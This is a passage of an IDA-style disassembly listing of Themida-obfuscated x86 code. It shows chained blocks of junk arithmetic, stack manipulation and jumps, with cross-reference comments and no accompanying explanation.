[esp] jmp loc_590A66 ; --------------------------------------------------------------------------- loc_5937E9: ; CODE XREF: Themida_:005988D3j pop eax add edi, 744C0E65h push eax mov eax, 43136F1Ah add edi, 1A4573Dh add edi, eax sub edi, 1A4573Dh push dword ptr [esp] jmp loc_5A49C3 ; --------------------------------------------------------------------------- loc_59380C: ; CODE XREF: Themida_:00592865j not dword ptr [esp] jmp loc_590C71 ; --------------------------------------------------------------------------- loc_593814: ; CODE XREF: Themida_:0059762Bj sub al, 5Dh sub al, 70h add al, cl add al, 70h jmp loc_5A3B09 ; --------------------------------------------------------------------------- loc_593821: ; CODE XREF: Themida_:005977BAj add esi, ecx pop ecx sub esi, 216F5734h inc esi or esi, 74BA654Eh shr esi, 7 push edx jmp loc_59C08A ; --------------------------------------------------------------------------- loc_59383A: ; CODE XREF: Themida_:005922F8j push dword ptr [esp] mov edx, [esp] jmp loc_59FC4C ; --------------------------------------------------------------------------- loc_593845: ; CODE XREF: Themida_:005A42B4j inc esi sub esi, 2EF8646Ch add esi, 0F4F5224Eh sub ebx, esi pop esi jmp loc_5965EF ; --------------------------------------------------------------------------- loc_59385A: ; CODE XREF: Themida_:00592A07j push ebp jmp loc_59CA53 ; --------------------------------------------------------------------------- loc_593860: ; CODE XREF: Themida_:00598C46j sub edx, 0E67FFD57h or ecx, edx pop edx sub ecx, 212C4113h add ecx, 1C4C63Bh jmp loc_59ADA2 ; --------------------------------------------------------------------------- loc_59387A: ; CODE XREF: Themida_:0059BB45j xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebx push ecx mov ecx, 27E11551h jmp loc_5995D8 ; --------------------------------------------------------------------------- loc_593892: ; CODE XREF: Themida_:0059406Cj pop esi shr ecx, 8 jmp loc_595B05 ; --------------------------------------------------------------------------- loc_59389B: ; CODE XREF: Themida_:005927F7j pop ecx pop dword ptr [esp] pop esp shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_59DF0F ; --------------------------------------------------------------------------- loc_5938AB: ; CODE XREF: Themida_:0059BA5Bj mov dl, ch mov bh, dl pop edx jmp loc_599E1F ; --------------------------------------------------------------------------- loc_5938B5: ; CODE XREF: Themida_:005A1EFBj xchg ecx, [esp] mov esp, [esp] jmp loc_59446E ; --------------------------------------------------------------------------- loc_5938C0: ; CODE XREF: Themida_:0059C45Aj sub ebp, 5C555C29h not ebp xor ebp, 0C81122E5h mov edx, ebp pop ebp add esi, 258D0634h add esi, edx sub esi, 258D0634h mov edx, [esp] add esp, 4 jmp loc_595A53 ; --------------------------------------------------------------------------- loc_5938ED: ; CODE XREF: Themida_:005A1ACCj mov ebp, esi pop esi inc ebp shl ebp, 8 jmp loc_5A04FE ; --------------------------------------------------------------------------- loc_5938F9: ; CODE XREF: Themida_:0059E221j push ebp push edx mov edx, 58FB465Ah mov ebp, edx pop edx push eax mov eax, 64D080Ch or eax, 63B44E55h add eax, 1B0D62CBh sub eax, 299A5807h xor ebp, eax mov eax, [esp] add esp, 4 jmp loc_5927FC ; --------------------------------------------------------------------------- loc_593925: ; CODE XREF: Themida_:00593700j mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_59C060 ; --------------------------------------------------------------------------- loc_593933: ; CODE XREF: Themida_:005961EFj sub eax, 3FABF08Dh jmp loc_5939AF ; --------------------------------------------------------------------------- loc_59393D: ; CODE XREF: Themida_:0059E80Fj mov edx, 4 add esi, edx jmp loc_5A4C66 ; --------------------------------------------------------------------------- loc_593949: ; CODE XREF: Themida_:0059AA43j dec ecx and ecx, 61287AFFh sub ecx, 0FAD7F4A6h jmp loc_593B86 ; --------------------------------------------------------------------------- loc_59395B: ; CODE XREF: Themida_:0059D501j pop ecx and eax, ecx push dword ptr [esp] pop ecx push 1FBDh mov [esp], ecx jmp loc_595312 ; --------------------------------------------------------------------------- loc_59396F: ; CODE XREF: Themida_:0059F4CFj sub eax, esi jmp loc_595C5B ; --------------------------------------------------------------------------- loc_593976: ; CODE XREF: Themida_:0059CD57j mov ebx, esi pop esi mov edx, 236306D3h xor edx, ebx pop ebx jmp loc_59B841 ; --------------------------------------------------------------------------- loc_593986: ; CODE XREF: Themida_:0059CD49j sub ebx, 6C1F34CBh add ebx, 2530291Bh add ebx, eax sub ebx, 2530291Bh add ebx, 6C1F34CBh jmp loc_5A24F2 ; --------------------------------------------------------------------------- loc_5939A5: ; CODE XREF: Themida_:00590C36j inc ah and ah, 21h jmp loc_595040 ; --------------------------------------------------------------------------- loc_5939AF: ; CODE XREF: Themida_:00593938j add ecx, eax pop eax push edi mov edi, 4 sub ecx, edi pop edi xchg ecx, [esp] jmp loc_598D5C ; --------------------------------------------------------------------------- loc_5939C3: ; CODE XREF: Themida_:005A195Fj mov [esp], edx mov edx, esp jmp loc_59FF51 ; --------------------------------------------------------------------------- loc_5939CD: ; CODE XREF: Themida_:005A0FA6j push 4D5Bh jmp loc_593E8D ; --------------------------------------------------------------------------- loc_5939D7: ; CODE XREF: Themida_:0059E07Bj add dh, 8Eh push dword ptr [esp] pop ecx add esp, 4 add bl, dh pop edx push cx jmp loc_59183B ; --------------------------------------------------------------------------- loc_5939EB: ; CODE XREF: Themida_:0059C4BFj push esp pop ecx push edi jmp loc_592CF4 ; --------------------------------------------------------------------------- loc_5939F3: ; CODE XREF: Themida_:00595C79j xor [esp+4], esi pop esi pop edi xor edi, 4B996947h mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A31C6 ; --------------------------------------------------------------------------- loc_593A13: ; CODE XREF: Themida_:00591787j add ah, 78h jmp loc_595592 ; --------------------------------------------------------------------------- loc_593A1B: ; CODE XREF: Themida_:0059C085j movzx cx, al push cx pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593A27: ; CODE XREF: Themida_:0059E1A1j push 4AB7h mov [esp], ebp jmp loc_592B97 ; --------------------------------------------------------------------------- loc_593A34: ; CODE XREF: Themida_:00598B20j add esp, 4 sub al, 8Bh push 1B2Eh mov [esp], esi push 2953h mov [esp], esp jmp loc_59DDBB ; --------------------------------------------------------------------------- loc_593A51: ; CODE XREF: Themida_:0059AF4Bj add esi, 0FFD5F1B7h mov ebp, esi pop esi xor ebp, eax pop eax and eax, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_5A3BF4 ; --------------------------------------------------------------------------- loc_593A6A: ; CODE XREF: Themida_:00590382j sub esp, 4 mov [esp], ecx mov cl, 0FCh xor cl, 77h or cl, 89h xor cl, 9Fh and bl, cl jmp loc_5A21B7 ; --------------------------------------------------------------------------- loc_593A85: ; CODE XREF: Themida_:005A3073j push 4 jmp loc_59ADB8 ; --------------------------------------------------------------------------- loc_593A8F: ; CODE XREF: Themida_:005A45A8j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push esi push esp push dword ptr [esp] jmp loc_592DB4 ; --------------------------------------------------------------------------- loc_593AC1: ; CODE XREF: Themida_:0059A45Fj xor ebp, 585D3Bh xor edx, ebp jmp loc_5A116C ; --------------------------------------------------------------------------- loc_593ACE: ; CODE XREF: Themida_:00597BBAj dec bl add bl, 97h add dl, bl pop ebx dec dl xchg ch, dl jmp loc_59689D ; --------------------------------------------------------------------------- loc_593ADF: ; CODE XREF: Themida_:0059D14Ej push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_5959C8 ; --------------------------------------------------------------------------- loc_593AF2: ; CODE XREF: Themida_:00599423j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593AF7: ; CODE XREF: Themida_:0059F76Dj add esi, 12347F45h pop edi add edi, esi pop esi jmp loc_597A3C ; --------------------------------------------------------------------------- loc_593B06: ; CODE XREF: Themida_:00598B16j pop edi mov edx, ebp push dword ptr [esp] pop ebp jmp loc_596FBB ; --------------------------------------------------------------------------- loc_593B12: ; CODE XREF: Themida_:00590B2Fj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ecx push ebx mov bh, 77h mov ch, 0E6h sub ch, bh mov ebx, [esp] jmp loc_592D71 ; --------------------------------------------------------------------------- loc_593B35: ; CODE XREF: Themida_:0059F7EBj and ecx, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_594D07 ; --------------------------------------------------------------------------- loc_593B4F: ; CODE XREF: Themida_:0059BCBDj mov ecx, 0 jmp loc_59B892 ; --------------------------------------------------------------------------- loc_593B59: ; CODE XREF: Themida_:0059ED1Cj pop ecx push ebx jmp loc_595F32 ; --------------------------------------------------------------------------- loc_593B60: ; CODE XREF: Themida_:00591FDBj push 56D1h mov [esp], edi mov edi, 1D1E1593h add edi, 333003DFh xor edi, 20703989h add ebx, 59AA48F1h add ebx, edi jmp loc_5A4A18 ; --------------------------------------------------------------------------- loc_593B86: ; CODE XREF: Themida_:00593956j add ebp, ecx pop ecx jmp loc_597535 ; --------------------------------------------------------------------------- loc_593B8E: ; CODE XREF: Themida_:0059BF04j add eax, ebx add eax, 79EA5875h push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_592482 ; --------------------------------------------------------------------------- loc_593BAC: ; CODE XREF: Themida_:00590914j sub ebp, 343745CEh shr ebp, 5 xor ebp, 16E09856h jmp loc_5963D4 ; --------------------------------------------------------------------------- loc_593BC0: ; CODE XREF: Themida_:0059F519j mov esi, 4 add ebx, esi pop esi jmp loc_5A3B17 ; --------------------------------------------------------------------------- loc_593BCD: ; CODE XREF: Themida_:0059D79Dj push 6B9Bh mov [esp], edi pop ebp pop edi not edi jmp loc_59A59E ; --------------------------------------------------------------------------- loc_593BDE: ; CODE XREF: Themida_:0059678Bj push ecx mov cl, 0ABh push small 8BAh mov [esp], ax mov ah, 9Eh xor cl, ah pop ax push ecx not byte ptr [esp] pop ecx push 0 sub [esp], cl mov cl, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] and cl, 23h sub esp, 2 jmp loc_591B9B ; --------------------------------------------------------------------------- loc_593C1B: ; CODE XREF: Themida_:0059FBDDj sub ebx, eax jmp loc_5A25F4 ; --------------------------------------------------------------------------- loc_593C22: ; CODE XREF: Themida_:00592FB6j xor ebp, 0E121AC29h sub eax, ebp pop ebp push ebp mov ebp, 427513D2h sub eax, ebp jmp loc_5A4D88 ; --------------------------------------------------------------------------- loc_593C38: ; CODE XREF: Themida_:0059739Aj sub esp, 4 mov [esp], edi push 1BCCh mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_59B0AA ; --------------------------------------------------------------------------- loc_593C61: ; CODE XREF: Themida_:00594A81j add edi, 4 jmp loc_595EAC ; --------------------------------------------------------------------------- loc_593C6C: ; CODE XREF: Themida_:0059F1F5j add eax, 3BB31416h add eax, 737A29A4h sub eax, ebx push 3486h mov [esp], ebx mov ebx, 737A29A4h jmp loc_5A29D2 ; --------------------------------------------------------------------------- loc_593C8A: ; CODE XREF: Themida_:005A379Cj sub ebp, 237E491Eh push ebp xor dword ptr [esp], 7B1F5117h jmp loc_596C1E ; --------------------------------------------------------------------------- loc_593C9D: ; CODE XREF: Themida_:0059C9EDj mov esi, 0 sub esi, ecx xchg esi, ecx jmp loc_59A8E3 ; --------------------------------------------------------------------------- loc_593CAB: ; CODE XREF: Themida_:0059D9B9j push 664Ah jmp loc_599DEB ; --------------------------------------------------------------------------- loc_593CB5: ; CODE XREF: Themida_:0059EC1Cj shr esi, 3 sub esi, offset byte_610E61 mov ecx, esi pop esi sub edi, 48B965F1h add edi, ecx push edx mov edx, 48B965F1h add edi, edx pop edx jmp loc_5A2CE2 ; --------------------------------------------------------------------------- loc_593CD7: ; CODE XREF: Themida_:00595291j pop esi add esi, 4 push edx mov edx, 2 add esi, edx jmp loc_5A1BA2 ; --------------------------------------------------------------------------- loc_593CEB: ; CODE XREF: Themida_:0059EACAj sub esp, 4 mov [esp], edx push ecx jmp loc_59191A ; --------------------------------------------------------------------------- loc_593CFA: ; CODE XREF: Themida_:005943D9j pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_591489 ; --------------------------------------------------------------------------- loc_593D1B: ; CODE XREF: Themida_:00592EBEj push dword ptr [esp] pop ebp push ecx push esp jmp loc_5927E5 ; --------------------------------------------------------------------------- loc_593D26: ; CODE XREF: Themida_:005909EDj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59E8A0 ; --------------------------------------------------------------------------- loc_593D3A: ; CODE XREF: Themida_:005A41C8j push edx jmp loc_59B093 ; --------------------------------------------------------------------------- loc_593D40: ; CODE XREF: Themida_:00591179j xor [esp+4], esi mov esi, [esp] add esp, 4 pop esi xor esi, 111F49F3h push esi xor dword ptr [esp], 2EFE023Eh pop eax xor eax, 2EFE023Eh push dword ptr [esp] mov esi, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59915D ; --------------------------------------------------------------------------- loc_593D7F: ; CODE XREF: Themida_:00591D2Ej push 0B5Eh mov [esp], ebx mov ebx, esp push 3BF9h mov [esp], edx mov edx, 26490F89h push 70AAh mov [esp], ecx mov ecx, 41FA4B5Dh push ecx jmp loc_590334 ; --------------------------------------------------------------------------- loc_593DA9: ; CODE XREF: Themida_:0059F02Aj mov esp, [esp] jmp loc_5952D5 ; --------------------------------------------------------------------------- loc_593DB1: ; CODE XREF: Themida_:0059A7FDj sub esp, 4 jmp loc_590DCF ; --------------------------------------------------------------------------- loc_593DBC: ; CODE XREF: Themida_:0059D363j mov esi, [esp] jmp loc_59791F ; --------------------------------------------------------------------------- loc_593DC4: ; CODE XREF: Themida_:00595464j sub edx, 20B9173Ch add edx, 0FFFFFFFFh not edx jmp loc_59A1A6 ; --------------------------------------------------------------------------- loc_593DD7: ; CODE XREF: Themida_:005A0887j add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 jmp loc_5A0CB2 ; --------------------------------------------------------------------------- loc_593DFA: ; CODE XREF: Themida_:005941F1j add edi, ecx sub edi, 49564922h add edi, 4E9F711Bh jmp loc_5970FD ; --------------------------------------------------------------------------- loc_593E0D: ; CODE XREF: Themida_:0059E1C7j push ebp jmp loc_59822B ; --------------------------------------------------------------------------- loc_593E13: ; CODE XREF: Themida_:00598C8Fj pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_59443A ; --------------------------------------------------------------------------- loc_593E28: ; CODE XREF: Themida_:00593711j sub ebx, 7A81F7Eh add ebx, edi push ecx mov ecx, 26E224DBh dec ecx inc ecx jmp loc_5A1D50 ; --------------------------------------------------------------------------- loc_593E3D: ; CODE XREF: Themida_:005A28C2j mov [esp], ebx push 1Ch jmp loc_5987DE ; --------------------------------------------------------------------------- loc_593E4A: ; CODE XREF: Themida_:005A551Dj push ebx push eax mov eax, 4A133B8Fh jmp loc_59FACC ; --------------------------------------------------------------------------- loc_593E56: ; CODE XREF: Themida_:005A1A0Cj shr edx, 4 add edx, 639CBA27h jmp loc_5A1E3C ; --------------------------------------------------------------------------- loc_593E64: ; CODE XREF: Themida_:005A21A7j sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] jmp loc_59B4C5 ; --------------------------------------------------------------------------- loc_593E7A: ; CODE XREF: Themida_:00591166j push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_5967DC ; --------------------------------------------------------------------------- loc_593E8D: ; CODE XREF: Themida_:005939D2j mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop edx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593EAA: ; CODE XREF: Themida_:0059C2F0j add dword ptr [esp], 4 pop ebx push 2B82h mov [esp], ebp mov ebp, 4 jmp loc_590F80 ; --------------------------------------------------------------------------- loc_593EC4: ; CODE XREF: Themida_:005A3D7Ej sub esp, 4 mov [esp], esi jmp loc_59E98D ; --------------------------------------------------------------------------- loc_593ED2: ; CODE XREF: Themida_:0059044Bj pop esp sub [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593EDD: ; CODE XREF: Themida_:0059949Ej inc ebx xchg eax, ebx shr eax, 2 neg eax inc eax add eax, 4E8215ADh add edi, eax pop eax push dword ptr [esp] pop edx add esp, 4 xchg edi, [esp] pop esp mov [esp], edx push 40h pop edx sub edx, 57D1293Dh jmp loc_5940D6 ; --------------------------------------------------------------------------- loc_593F0F: ; CODE XREF: Themida_:0059C467j push esi mov esi, 215745Dh jmp loc_596305 ; --------------------------------------------------------------------------- loc_593F1A: ; CODE XREF: Themida_:00599347j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_59A2FF ; --------------------------------------------------------------------------- loc_593F2B: ; CODE XREF: Themida_:005946E2j add eax, ebp add eax, 2288587Dh push edi mov edi, 62E247EDh add eax, edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A41BA ; --------------------------------------------------------------------------- loc_593F53: ; CODE XREF: Themida_:00599B65j add ebx, 10F33FB6h add ebx, ecx sub ebx, 10F33FB6h jmp loc_597DE1 ; --------------------------------------------------------------------------- loc_593F66: ; CODE XREF: Themida_:005A06BCj mov [esp], esi push 23CFh mov [esp], esp add dword ptr [esp], 4 jmp loc_594E31 ; --------------------------------------------------------------------------- loc_593F7D: ; CODE XREF: Themida_:0059979Fj add esi, 4 xchg esi, [esp] pop esp push edx mov edx, esp add edx, 4 jmp loc_59A88C ; --------------------------------------------------------------------------- mov ax, [esp] push 7AFFh mov [esp], esi push esp pop esi jmp loc_59134E ; --------------------------------------------------------------------------- loc_593FA8: ; CODE XREF: Themida_:00594DE6j mov eax, 65B1218Eh dec eax not eax jmp loc_59BA2D ; --------------------------------------------------------------------------- loc_593FB5: ; CODE XREF: Themida_:00592535j mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5A344E ; --------------------------------------------------------------------------- loc_593FD1: ; CODE XREF: Themida_:0059B58Ej neg eax shl eax, 4 push ebp mov ebp, 0ECFB5D6Ah xor eax, ebp jmp loc_5A1DA1 ; --------------------------------------------------------------------------- loc_593FE3: ; CODE XREF: Themida_:005A3AE7j pop esp shr cl, 5 push edx jmp loc_5920DF ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593FFC: ; CODE XREF: Themida_:00599EE5j add esi, edi jmp loc_592FFD ; --------------------------------------------------------------------------- loc_594003: ; CODE XREF: Themida_:00595F90j add eax, edx jmp loc_5A3999 ; --------------------------------------------------------------------------- loc_59400A: ; CODE XREF: Themida_:00596238j or esi, edx pop edx push eax mov eax, 4D3D2F14h push ebx mov ebx, 363E0C64h xor eax, ebx mov ebx, [esp] add esp, 4 add eax, 0D80AE001h xor esi, eax pop eax neg esi xor esi, 36F72BE7h sub esp, 4 jmp loc_59D97E ; --------------------------------------------------------------------------- loc_59403C: ; CODE XREF: Themida_:0059DDB6j push ecx not byte ptr [esp] pop ecx push eax mov ah, cl mov cl, dl jmp loc_5A1B62 ; --------------------------------------------------------------------------- loc_59404B: ; CODE XREF: Themida_:0059A2EFj add ebp, 4 jmp loc_59B763 ; --------------------------------------------------------------------------- loc_594056: ; CODE XREF: Themida_:00592C0Fj dec ebx and ebx, 4CAE19FAh or ebx, 63F25978h add ebx, 0EE82C27Ch sub ecx, ebx pop ebx jmp loc_593892 ; --------------------------------------------------------------------------- loc_594071: ; CODE XREF: Themida_:0059BCADj sub [esp+8], ebp add dword ptr [esp+8], 0F6F3C3Bh mov ebp, [esp] add esp, 4 add [esp+4], edx push 13D5h mov [esp], ebp mov ebp, 24B92269h sub dword ptr [esp+8], 0CC6D49h add [esp+8], ebp add dword ptr [esp+8], 0CC6D49h jmp loc_59D833 ; --------------------------------------------------------------------------- loc_5940B0: ; CODE XREF: Themida_:00591AD1j add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 3F55341h jmp loc_59FB65 ; --------------------------------------------------------------------------- loc_5940CF: ; CODE XREF: Themida_:005A570Bj shr ebp, 1 jmp loc_59A954 ; --------------------------------------------------------------------------- loc_5940D6: ; CODE XREF: Themida_:00593F0Aj add edx, edi add edx, 57D1293Dh push 7698h mov [esp], eax sub esp, 4 mov [esp], eax push ebp jmp loc_595D65 ; --------------------------------------------------------------------------- loc_5940F2: ; CODE XREF: Themida_:005990FCj pop edi pop eax push ebp push 28B55CADh pop ebp shl ebp, 8 add ebp, 0A8F2BE95h xor ecx, ebp mov ebp, [esp] add esp, 4 sub ecx, 52B54DCEh add esi, ecx mov ecx, [esp] jmp loc_591632 ; --------------------------------------------------------------------------- loc_59411C: ; CODE XREF: Themida_:0059E2A6j mov esp, [esp] jmp loc_596FC3 ; --------------------------------------------------------------------------- loc_594124: ; CODE XREF: Themida_:005A281Cj add ebp, 0D517CA3h jmp loc_596E7F ; --------------------------------------------------------------------------- loc_59412F: ; CODE XREF: Themida_:0059EDBAj xor esi, 28B55FA2h jmp loc_59B75C ; --------------------------------------------------------------------------- loc_59413A: ; CODE XREF: Themida_:0059C10Fj add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor eax, [esp] jmp loc_59990B ; --------------------------------------------------------------------------- loc_59414E: ; CODE XREF: Themida_:00595C39j push 39BBh mov [esp], esi push esp jmp loc_59CC91 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push 7260h mov [esp], esp jmp loc_590CBB ; --------------------------------------------------------------------------- loc_59416E: ; CODE XREF: Themida_:00598450j xor [esp], eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594176: ; CODE XREF: Themida_:005A2C49j mov al, 3Bh push edx push ebx mov bl, al mov dl, bl mov ebx, [esp] add esp, 4 push ebx mov bh, dl jmp loc_5A3CA4 ; --------------------------------------------------------------------------- loc_59418F: ; CODE XREF: Themida_:00595E3Cj push ebp mov ebp, 19451A72h inc ebp add ebp, 7EBF7DAFh and ebp, 2F91735Fh jmp loc_5A1372 ; --------------------------------------------------------------------------- loc_5941A7: ; CODE XREF: Themida_:00598E45j push 3440h mov [esp], ebp jmp loc_59F365 ; --------------------------------------------------------------------------- loc_5941B4: ; CODE XREF: Themida_:0059C77Aj sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A487E ; --------------------------------------------------------------------------- loc_5941C7: ; CODE XREF: Themida_:005A43E9j push ebx mov ebx, 1E025912h xor ebp, ebx jmp loc_5A2BDE ; --------------------------------------------------------------------------- loc_5941D4: ; CODE XREF: Themida_:00595944j pop eax add ecx, edx pop edx sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_5A3C29 ; --------------------------------------------------------------------------- loc_5941EA: ; CODE XREF: Themida_:00596740j add edi, 51D502Dh pop esi jmp loc_593DFA ; --------------------------------------------------------------------------- loc_5941F6: ; CODE XREF: Themida_:0059F95Cj mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push 6AF4h mov [esp], ebp push edi mov edi, 109F0D00h mov ebp, 0EF60F302h add ebp, edi mov edi, [esp] add esp, 4 add ebx, ebp jmp loc_595808 ; --------------------------------------------------------------------------- loc_594229: ; CODE XREF: Themida_:005984E2j sub eax, 3AE43F0Ch add eax, 2D895114h push edi mov edi, 3B096619h xor edi, 0D9A58D7h add edi, 6B1564Ah dec edi xor edi, 280B42D1h sub edi, 40B83271h add edi, 3086C4C5h jmp loc_5924CE ; --------------------------------------------------------------------------- loc_59425D: ; CODE XREF: Themida_:005A31E3j movzx cx, al push cx pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594269: ; CODE XREF: Themida_:0059937Ej push esi mov esi, esp add esi, 4 jmp loc_59B688 ; --------------------------------------------------------------------------- loc_594277: ; CODE XREF: Themida_:0059A92Fj push dword ptr [esp] jmp loc_59CE81 ; --------------------------------------------------------------------------- loc_59427F: ; CODE XREF: Themida_:005929DAj sub esp, 4 mov [esp], edx push ebp mov ebp, 7AA7155Fh jmp loc_5A06C1 ; --------------------------------------------------------------------------- loc_594293: ; CODE XREF: Themida_:005970A9j add eax, ecx pop ecx push 2354h mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_59D06A ; --------------------------------------------------------------------------- loc_5942A8: ; CODE XREF: Themida_:00598226j mov [esp], ecx push eax mov eax, 4 sub esp, 4 mov [esp], eax pop ecx pop eax jmp loc_599BD6 ; --------------------------------------------------------------------------- loc_5942BE: ; CODE XREF: Themida_:005A49FBj pop eax xor bh, 0D4h dec bh sub bh, 0C1h jmp loc_595A1C ; --------------------------------------------------------------------------- loc_5942CC: ; CODE XREF: Themida_:0059FF27j pop ebx add edx, 4C0303F7h add edx, eax sub edx, 4C0303F7h push ebp mov ebp, 31361E14h jmp loc_5967C5 ; --------------------------------------------------------------------------- loc_5942E6: ; CODE XREF: Themida_:0059C015j xor ebp, 179F3913h push eax mov eax, 0D425381Bh sub ebp, eax pop eax push ebp pop edx jmp loc_5A3781 ; --------------------------------------------------------------------------- loc_5942FC: ; CODE XREF: Themida_:005A5384j add esi, 4 push edi push ebx push 33AE3A3Fh pop ebx push ebp mov ebp, 5D836573h jmp loc_598676 ; --------------------------------------------------------------------------- loc_594315: ; CODE XREF: Themida_:0059FF83j push ecx mov ecx, 2CF737DEh jmp loc_59EB0D ; --------------------------------------------------------------------------- loc_594320: ; CODE XREF: Themida_:0059A4D6j add esp, 4 shl eax, 1 inc eax neg eax add eax, 1 push esi jmp loc_595010 ; --------------------------------------------------------------------------- loc_594333: ; CODE XREF: Themida_:0059066Bj inc dl add dl, 0D3h add dl, 0AAh jmp loc_59A0E7 ; --------------------------------------------------------------------------- loc_594340: ; CODE XREF: Themida_:0059B9C3j dec ebp shr ebp, 6 push 750h mov [esp], ebx mov ebx, 7DB0566h jmp loc_5A1CC1 ; --------------------------------------------------------------------------- loc_594356: ; CODE XREF: Themida_:005A2393j dec ecx xor ecx, 4AAB11D9h jmp loc_5A0CE4 ; --------------------------------------------------------------------------- loc_594362: ; CODE XREF: Themida_:00595BE2j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594367: ; CODE XREF: Themida_:0059607Bj push 319Ch mov [esp], eax mov eax, 4 jmp loc_59F654 ; --------------------------------------------------------------------------- loc_594379: ; CODE XREF: Themida_:0059EDEDj shr ecx, 8 or ecx, 7645441h dec ecx shl ecx, 2 xor ecx, 4C274F65h xor ecx, 64AE3290h add edx, ecx pop ecx add edx, 7C4D2F0Ah jmp loc_59A576 ; --------------------------------------------------------------------------- loc_5943A0: ; CODE XREF: Themida_:005A0A93j add ebp, 55378EEh push eax mov eax, 0CC906E3Eh sub ebp, eax pop eax jmp loc_5964CE ; --------------------------------------------------------------------------- loc_5943B4: ; CODE XREF: Themida_:0059E22Aj pop esp add ecx, 4 jmp loc_59537E ; --------------------------------------------------------------------------- loc_5943C0: ; CODE XREF: Themida_:005A2040j pop esp sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push 70D0h jmp loc_59E069 ; --------------------------------------------------------------------------- loc_5943D8: ; CODE XREF: Themida_:0059B2E9j push esp jmp loc_593CFA ; --------------------------------------------------------------------------- mov cx, [esp] push edx push ecx mov ecx, esp push 4725h mov [esp], eax mov eax, 0B4F05C5h dec eax jmp loc_5A213B ; --------------------------------------------------------------------------- loc_5943F9: ; CODE XREF: Themida_:0059CDA0j xor edi, [esp] jmp loc_59AE06 ; --------------------------------------------------------------------------- loc_594401: ; CODE XREF: Themida_:005A5113j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5A06A3 ; --------------------------------------------------------------------------- loc_594418: ; CODE XREF: Themida_:005A214Cj push 2697h mov [esp], edx pop ebp mov edx, [esp] add esp, 4 add eax, ebp jmp loc_59DF36 ; --------------------------------------------------------------------------- loc_59442E: ; CODE XREF: Themida_:005A240Cj pop ebx xchg esi, [esp] pop esp and eax, edx jmp loc_59D8FE ; --------------------------------------------------------------------------- loc_59443A: ; CODE XREF: Themida_:00593E23j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_59CA12 ; --------------------------------------------------------------------------- loc_594446: ; CODE XREF: Themida_:00593599j add al, dh sub al, 0A1h pop dx push 18C5h mov [esp], ebx mov bl, 55h push edx mov dl, 0D7h shl dl, 1 jmp loc_595AE8 ; --------------------------------------------------------------------------- loc_594460: ; CODE XREF: Themida_:0059FA1Bj push ebx mov bl, 65h and bl, 7Ah xor bl, 0CFh jmp loc_59D7C8 ; --------------------------------------------------------------------------- loc_59446E: ; CODE XREF: Themida_:005938BBj cmp cl, al pushf jmp loc_59DBEF ; --------------------------------------------------------------------------- loc_594476: ; CODE XREF: Themida_:00592A85j push ecx jmp loc_591220 ; --------------------------------------------------------------------------- loc_59447C: ; CODE XREF: Themida_:0059E102j push dword ptr [esp+4] jmp loc_595C7E ; --------------------------------------------------------------------------- loc_594485: ; CODE XREF: Themida_:005A169Aj push esi push 33F64DB5h jmp loc_5989EA ; --------------------------------------------------------------------------- loc_594490: ; CODE XREF: Themida_:00598042j mov edi, 2B917E7Fh sub eax, 17387764h add eax, edi jmp loc_59F347 ; --------------------------------------------------------------------------- loc_5944A1: ; CODE XREF: Themida_:00592645j push dword ptr [esp] mov ebx, [esp] add esp, 